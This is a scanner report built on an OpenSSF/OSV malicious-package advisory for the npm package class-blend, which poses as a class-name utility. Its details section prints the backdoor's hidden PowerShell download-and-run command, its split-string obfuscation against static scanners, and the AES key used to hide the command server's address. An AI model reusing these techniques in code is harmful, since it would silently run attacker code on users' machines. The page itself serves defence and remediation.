class-blend
This report shows the evidence for class-blend@1.0.5. 4 of 4 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4520 confirms this npm version as malicious.
Advisory
MAL-2026-4520
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in class-blend (npm)
Details
The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child_process via split-string concatenation (e.g., ["no","de",":","cry","pto"].join("")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks (["a7b80b01","7e76fb52","fa527621","f76027d2","19014dfc","a59b49ae","3db97ff3","ab4a72fa"]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command "irm <decrypted-url> -o $env:TEMP\s.js; node $env:TEMP\s.js", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to class-blend@1.0.5.
The same advisory and Firewall decision cover 4 recorded versions
1.0.0, 1.0.1, 1.0.2, 1.0.5
The versions list below shows the verdict for each recorded version.
- Avoid installing class-blend@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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